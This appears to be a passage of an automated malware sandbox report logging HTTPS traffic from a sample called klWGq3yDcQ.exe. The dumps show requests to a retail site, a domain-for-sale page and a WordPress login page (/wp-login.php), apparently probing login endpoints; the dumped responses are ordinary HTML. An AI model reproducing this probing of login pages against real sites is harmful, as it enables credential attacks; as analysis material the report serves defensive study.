30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedConnection: closeContent-Language: pt-BRContent-Security-Policy: frame-ancestors 'self'Set-Cookie: originDirect=true; Max-Age=60
2023-11-26 05:59:45 UTC	15763	IN	Data Raw: 37 64 38 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 Data Ascii: 7d88<!DOCTYPE html>...[if lt IE 7 ]> <html lang="pt" class="no-js ie6"> <![endif]-->...[if IE 7 ]> <html lang="pt" class="no-js ie7"> <![endif]-->...[if IE 8 ]> <html lang="pt" class="no-js ie8"> <![endif]-->...[if IE 9 ]> <html lang="p
2023-11-26 05:59:45 UTC	16381	IN	Data Raw: 6f 6e 63 6c 69 63 6b 3d 22 73 65 6e 64 4b 69 6e 65 73 69 73 44 61 74 61 41 6a 61 78 28 7b 61 63 74 69 6f 6e 49 44 3a 20 27 63 6c 69 63 6b 27 2c 61 63 74 69 6f 6e 44 61 74 61 3a 60 61 64 65 73 69 76 6f 73 2d 64 65 63 61 6c 71 75 65 73 20 2d 20 63 61 74 65 67 6f 72 79 32 60 7d 29 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 41 64 65 73 69 76 6f 73 20 26 61 6d 70 3b 20 44 65 63 61 6c 71 75 65 73 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 2d 69 74 65 6d 2d 6c 69 6e 6b 22 0a 09 09 09 Data Ascii: onclick="sendKinesisDataAjax({actionID: 'click',actionData:`adesivos-decalques - category2`})">Adesivos & Decalques</a><a class="sub-menu-item-link"
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 74 65 72 2d 73 65 6c 65 63 74 20 79 2d 79 65 61 72 22 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 4e c3 ba 6d 65 72 6f 20 64 65 20 53 c3 a9 72 69 65 22 2f 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 66 69 6c 74 65 72 2d 62 75 74 74 6f 6e 20 62 74 6e 20 62 74 6e 2d 6c 67 20 6e 6f 2d 72 61 64 69 75 73 22 3e 46 69 6c 74 72 61 72 3c 2f 62 75 74 74 6f 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 6e 61 76 3e 0a 09 09 09 0a 09 09 0a 09 0a 3c 73 63 72 69 70 74 3e 0a 09 76 61 72 20 Data Ascii: 7fe0ter-select y-year" placeholder="Nmero de Srie"/><button type="submit" class="filter-button btn btn-lg no-radius">Filtrar</button></div></div></div></div></div></nav><script>var
2023-11-26 05:59:45 UTC	16360	IN	Data Raw: 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 74 77 6f 22 20 3e 0a 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 74 68 72 65 65 22 3e 0a 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 3c 64 69 76 20 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69 6e 65 72 2d 73 65 63 6f 6e 64 61 72 79 2d 62 6f 78 2d 66 6f 75 72 22 3e 0a 09 09 09 09 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 5f 5f 6c 6f 67 6f 22 3e 0a 09 09 09 09 09 09 3c 61 20 68 72 65 Data Ascii: </div><div class="container-secondary-box-two" ></div><div class="container-secondary-box-three"></div><div class="container-secondary-box-four"><div class="footer__logo"><a hre
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 37 66 65 30 0d 0a 0a 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 75 6e 74 64 6f 77 6e 2d 74 65 6d 70 6c 61 74 65 22 20 74 79 70 65 3d 22 74 65 78 74 2f 78 2d 68 61 6e 64 6c 65 62 61 72 73 2d 74 65 6d 70 6c 61 74 65 22 3e 0a 09 09 7b 7b 23 69 66 20 73 6b 75 2e 62 65 73 74 7d 7d 0a 09 3c 64 69 76 20 69 74 65 6d 70 72 6f 70 3d 22 6f 66 66 65 72 73 22 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4f 66 66 65 72 22 20 63 6c 61 73 73 3d 22 63 6f 75 6e 74 64 6f 77 6e 2d 6f 66 66 65 72 22 3e 0a 09 09 3c 6c 69 6e 6b 20 69 74 65 6d 70 72 6f 70 3d 22 75 72 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 72 65 63 68 2e 63 6f 6d 2f 22 2f 3e Data Ascii: 7fe0</script><script id="countdown-template" type="text/x-handlebars-template">{{#if sku.best}}<div itemprop="offers" itemscope="" itemtype="http://schema.org/Offer" class="countdown-offer"><link itemprop="url" href="https://www.rech.com/"/>
2023-11-26 05:59:45 UTC	16360	IN	Data Raw: 09 64 61 74 61 2d 6f 72 69 67 69 6e 70 72 69 63 65 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 6f 72 69 67 69 6e 50 72 69 63 65 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 65 6c 6c 65 72 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 73 65 6c 6c 65 72 4e 61 6d 65 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 69 64 3d 22 7b 7b 73 6b 75 2e 73 6b 75 49 64 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 6b 75 2d 6f 62 6a 3d 22 22 0a 09 09 09 09 09 09 64 61 74 61 2d 70 61 72 74 6e 65 72 53 74 6f 63 6b 73 3d 22 7b 7b 73 6b 75 2e 70 61 72 74 6e 65 72 53 74 6f 63 6b 73 7d 7d 22 0a 09 09 09 09 09 09 64 61 74 61 2d 73 74 6f 63 6b 2d 72 65 6d 61 69 6e 69 6e 67 3d 22 7b 7b 73 6b 75 2e 62 65 73 74 2e 73 74 6f 63 6b 52 65 6d 61 69 6e 69 6e 67 7d 7d 22 0a 09 09 09 09 09 09 64 61 Data Ascii: data-originprice="{{sku.best.originPrice}}"data-seller="{{sku.best.sellerName}}"data-id="{{sku.skuId}}"data-sku-obj=""data-partnerStocks="{{sku.partnerStocks}}"data-stock-remaining="{{sku.best.stockRemaining}}"da
2023-11-26 05:59:45 UTC	3475	IN	Data Raw: 64 38 63 0d 0a 6e 64 61 72 79 3a 20 27 23 34 66 34 66 34 66 27 2c 0a 09 09 63 6f 6c 6f 72 54 65 72 74 69 61 72 79 3a 20 27 23 34 66 34 66 34 66 27 2c 0a 09 09 63 6f 6c 6f 72 51 75 61 74 65 72 6e 61 72 79 3a 20 27 23 32 36 37 37 46 39 27 2c 0a 09 09 63 6f 6c 6f 72 4e 65 75 74 72 61 6c 3a 20 22 23 42 36 42 36 42 36 22 2c 0a 09 09 63 6f 6c 6f 72 45 72 72 6f 72 3a 20 22 23 45 41 30 38 30 38 22 2c 0a 09 09 63 6f 6c 6f 72 41 6c 65 72 74 3a 20 22 23 45 31 41 31 30 30 22 2c 0a 09 09 63 6f 6c 6f 72 53 75 63 63 65 73 73 3a 20 22 23 30 37 42 34 35 44 22 0a 09 7d 0a 0a 09 77 69 6e 64 6f 77 2e 63 77 73 54 68 65 6d 65 54 6f 6b 65 6e 73 28 74 6f 6b 65 6e 73 29 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 0a 09 0a 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a Data Ascii: d8cndary: '#4f4f4f',colorTertiary: '#4f4f4f',colorQuaternary: '#2677F9',colorNeutral: "#B6B6B6",colorError: "#EA0808",colorAlert: "#E1A100",colorSuccess: "#07B45D"}window.cwsThemeTokens(tokens)</script><script type="text/j
2023-11-26 05:59:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.4	51448	104.26.7.37	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	206	OUT	GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	794	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 73 69 74 65 5f 76 65 72 73 69 6f 6e 5f 70 68 61 73 65 3d 31 30 38 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 30 2d 4e 6f 76 2d 32 30 32 34 20 30 35 3a 35 39 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecache-control: privatevary: Accept-Encodingset-cookie: site_version_phase=108; expires=Wed, 20-Nov-2024 05:59:
2023-11-26 05:59:45 UTC	575	IN	Data Raw: 34 32 31 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 Data Ascii: 4217<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><me
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 Data Ascii: <link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com/css/h
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 Data Ascii: oto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];function gtag(
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 69 63 6f 6e 2d 77 68 69 74 65 2e 70 6e 67 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 20 61 6c 74 3d 22 48 65 61 64 65 72 20 4d 6f 62 69 6c 65 20 53 65 61 72 63 68 22 20 62 6f 72 64 65 72 3d 22 30 22 20 6f 6e 63 6c 69 63 6b 3d 22 68 65 61 64 65 72 4d 6f 62 69 6c 65 53 65 61 72 63 68 4d 61 67 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 6f 78 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 6f 78 44 69 76 49 44 22 3e 0a 0a 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 5f 73 65 61 72 63 68 2e 63 66 6d 22 20 6d 65 74 68 6f 64 3d 22 67 Data Ascii: icon-white.png" tabindex="0" alt="Header Mobile Search" border="0" onclick="headerMobileSearchMagFunc(); return false;"></div><div class="search-box " id="hdv3HeaderSearchBoxDivID"><form action="https://www.HugeDomains.com/domain_search.cfm" method="g
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 70 68 6f 6e 65 2d 69 63 6f 6e 2e 70 6e 67 22 20 61 6c 74 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 74 65 6c 6c 2d 74 65 78 74 22 3e 2b 31 2d 33 30 33 2d 38 39 33 2d 30 35 35 32 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 20 68 51 51 51 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 44 72 61 77 65 72 4c 61 79 20 22 20 6f 6e 63 6c 69 63 6b 3d 22 20 24 28 20 27 23 6e 61 76 54 6f 67 67 6c 65 Data Ascii: ideAt991Width"><img src="https://static.HugeDomains.com/images/hdv3-img/phone-icon.png" alt><span class="tell-text">+1-303-893-0552</span></a></div></div></div><nav class="navbar hQQQideAt991Width"><div class="overDrawerLay " onclick=" $( '#navToggle
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 63 6c 61 73 73 3d 22 63 61 72 74 2d 69 63 6f 6e 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 70 78 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 68 6f 70 70 69 6e 67 43 61 72 74 4c 69 6e 6b 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 53 68 6f 70 70 69 6e 67 20 43 61 72 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 73 68 6f 77 22 3e 53 68 6f 70 70 69 6e 67 20 63 61 72 74 3c 2f 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 Data Ascii: class="cart-icon" style="padding-top:0px;"><a href="https://www.HugeDomains.com/shopping_cart.cfm" class="whiteLink " id="hdv3HeaderShoppingCartLinkID" aria-label="Shopping Cart"><span class="mobile-show">Shopping cart</span><img src="https://static.HugeD
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 32 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 33 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 34 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 35 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c Data Ascii: x; margin-top:0px; margin-bottom:0px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1"></div><div class="circularJ_2"></div><div class="circularJ_3"></div><div class="circularJ_4"></div><div class="circularJ_5"></div><div cl
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 64 69 66 2d 6c 22 3e 53 65 65 20 64 65 74 61 69 6c 73 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 72 65 64 69 74 69 20 22 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 Data Ascii: geDomains.com/payment-plan-setup.cfm?d=RobinsonLand.com" class="link dif-l">See details</a></div><div class="crediti "><ul><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.png" alt></div><div class="conte
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 70 72 6f 64 75 63 74 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6e 2d 62 6c 6f 63 6b 22 3e 0a 3c 68 31 20 69 64 3d 22 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 2d 6e 61 6d 65 22 3e 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 2e 63 6f 6d 3c 2f 68 31 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 64 2d 74 2d 6e 22 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 66 6f 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 34 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 42 75 79 20 6e 6f 77 20 66 6f 72 20 3c 73 70 61 6e 20 63 6c Data Ascii: product-block"><div class="bn-block"><h1 id="main" class="domain-name">RobinsonLand.com</h1><p class="d-t-n">This domain is for sale: <span class="green">$2,495</span></p></div><div class="tablet-block-s"><p class="text-center">Buy now for <span cl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.4	51277	34.136.104.255	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	175	OUT	GET /wp-login.php HTTP/1.1 Host: tiswheels.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	587	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 57 50 20 45 6e 67 69 6e 65 0d 0a 53 65 74 2d 43 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingVary: Accept-Encodingx-powered-by: WP EngineSet-C
2023-11-26 05:59:45 UTC	6251	IN	Data Raw: 31 38 35 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 54 49 53 20 4f 66 66 72 6f 61 64 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 Data Ascii: 185e<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; TIS Offroad — WordPress</title><meta name='robots' content='noindex, follow' /><script type='text/ja

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.4	51574	66.235.200.147	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
